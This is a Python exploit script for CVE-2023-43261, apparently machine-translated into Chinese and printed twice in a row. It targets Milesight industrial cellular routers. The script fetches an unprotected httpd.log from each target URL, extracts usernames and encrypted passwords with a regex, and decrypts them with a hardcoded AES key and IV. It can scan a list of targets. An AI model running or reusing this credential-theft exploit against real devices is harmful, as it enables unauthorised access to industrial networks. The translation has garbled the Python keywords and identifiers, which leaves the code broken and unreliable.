#!/usr/bin/env Python3
# - * - 编码: UTF-8 - * -
'''
Title:通过未保护的系统日志和弱密码加密泄漏
CVE: CVE-2023-43261
脚本作者: bipin jitiya(@win3zz)
Vendor: Milesight IoT -https://www.milesight-iot.com/(以前是Xiamen Ursalink Technology Co.Ltd。)
软件/硬件: UR5X,UR32L,UR32,UR35,UR41,并且可能还有其他工业蜂窝路由器也可能很脆弱。
脚本在: Ubuntu 20.04.6 lts with python 3.8.10
撰写: https://medium.com/@win3zz/inside-t...l-routers-and-reported-the-flaws-29c34213dfdf
'''
导入系统
导入请求
导入
进口警告
来自加密cipher导入AES#pip install pycryptodome
来自crypto.util。
导入基础64
进口时间
警告。FilterWarnings(“忽略”)
键=B'1111111111111'
IV=B'22222222222222222'
def decrypt_password(密码):
TRY:
返回UNPAD(aes.new(key,aes.mode_cbc,iv).decrypt(base64.b64decode(password)),aes.block_size).decode('utf-8')
除了e:除外
display_output('[ - ]错误在密码解密:' + str(e),'red')
def display_output(消息,颜色):
颜色={'red':'\ 033 [91m','green':'\ 033 [92m','blue':'\ 033 [94m','Yellow':' '\ 033 [0M'}
print(f'{colors [color]} {message} {颜色['end']}')
时间。
urls=[]
如果len(sys.argv)==2:
urls.append(sys.argv [1])
如果len(sys.argv)==3和sys.argv [1]=='-f':
用file:开放(sys.argv [2],'r')
urls.extend(file.read()。splitlines())
如果len(url)==0:
display_output('请提供带有URL列表的URL或文件。','red')
display_output('example: python3' + sys.argv [0] +'https://Example.com','blue')
display_output('example: python3' + sys.argv [0] +'-f urls.txt','blue')
sys.exit()
use_proxy=false
proxies={'http':'http://127.0.0.0.1:8080/'}
对于URL中的URL :中的URL
display_output('[*]启动数据检索for:' + url +'/lang/log/log/httpd.log','blue')
响应=requests.get(url +'/lang/log/httpd.log',proxies=proxies,verify=false)
if antsphy.status_code==200:
display_output('[ +]数据检索成功for:' + url +'/lang/log/httpd.log','green')
数据=响应
凭据=set(re.findall(r''Username':'(。?)','password':'(。?),data))
num_credentials=len(凭据)
display_output(f'[ +]找到{num_credentials}唯一凭据for:' + url,'green')
如果num_credentials 0:
display_output('[ +]登录页面:' + url +'/login.html','green')
display_output('[*]提取和解密凭据:' + url,'blue')
display_output('[+]唯一凭据:','yellow')
对于i,(用户名,密码)枚举(凭据,start=1):
display_output(f'凭据{i} :','cyan')
decrypted_password=decrypt_password(password.encode('utf-8'))
display_output(f'-username: {username}','green')
display_output(f' - passwess: {degrypted_password}','green')
其他:
display_output('[ - ]在检索到的数据中未找到:' + url,'red')
其他:
display_output('[ - ]数据检索失败。请检查url:' + url,'red')
# - * - 编码: UTF-8 - * -
'''
Title:通过未保护的系统日志和弱密码加密泄漏
CVE: CVE-2023-43261
脚本作者: bipin jitiya(@win3zz)
Vendor: Milesight IoT -https://www.milesight-iot.com/(以前是Xiamen Ursalink Technology Co.Ltd。)
软件/硬件: UR5X,UR32L,UR32,UR35,UR41,并且可能还有其他工业蜂窝路由器也可能很脆弱。
脚本在: Ubuntu 20.04.6 lts with python 3.8.10
撰写: https://medium.com/@win3zz/inside-t...l-routers-and-reported-the-flaws-29c34213dfdf
'''
导入系统
导入请求
导入
进口警告
来自加密cipher导入AES#pip install pycryptodome
来自crypto.util。
导入基础64
进口时间
警告。FilterWarnings(“忽略”)
键=B'1111111111111'
IV=B'22222222222222222'
def decrypt_password(密码):
TRY:
返回UNPAD(aes.new(key,aes.mode_cbc,iv).decrypt(base64.b64decode(password)),aes.block_size).decode('utf-8')
除了e:除外
display_output('[ - ]错误在密码解密:' + str(e),'red')
def display_output(消息,颜色):
颜色={'red':'\ 033 [91m','green':'\ 033 [92m','blue':'\ 033 [94m','Yellow':' '\ 033 [0M'}
print(f'{colors [color]} {message} {颜色['end']}')
时间。
urls=[]
如果len(sys.argv)==2:
urls.append(sys.argv [1])
如果len(sys.argv)==3和sys.argv [1]=='-f':
用file:开放(sys.argv [2],'r')
urls.extend(file.read()。splitlines())
如果len(url)==0:
display_output('请提供带有URL列表的URL或文件。','red')
display_output('example: python3' + sys.argv [0] +'https://Example.com','blue')
display_output('example: python3' + sys.argv [0] +'-f urls.txt','blue')
sys.exit()
use_proxy=false
proxies={'http':'http://127.0.0.0.1:8080/'}
对于URL中的URL :中的URL
display_output('[*]启动数据检索for:' + url +'/lang/log/log/httpd.log','blue')
响应=requests.get(url +'/lang/log/httpd.log',proxies=proxies,verify=false)
if antsphy.status_code==200:
display_output('[ +]数据检索成功for:' + url +'/lang/log/httpd.log','green')
数据=响应
凭据=set(re.findall(r''Username':'(。?)','password':'(。?),data))
num_credentials=len(凭据)
display_output(f'[ +]找到{num_credentials}唯一凭据for:' + url,'green')
如果num_credentials 0:
display_output('[ +]登录页面:' + url +'/login.html','green')
display_output('[*]提取和解密凭据:' + url,'blue')
display_output('[+]唯一凭据:','yellow')
对于i,(用户名,密码)枚举(凭据,start=1):
display_output(f'凭据{i} :','cyan')
decrypted_password=decrypt_password(password.encode('utf-8'))
display_output(f'-username: {username}','green')
display_output(f' - passwess: {degrypted_password}','green')
其他:
display_output('[ - ]在检索到的数据中未找到:' + url,'red')
其他:
display_output('[ - ]数据检索失败。请检查url:' + url,'red')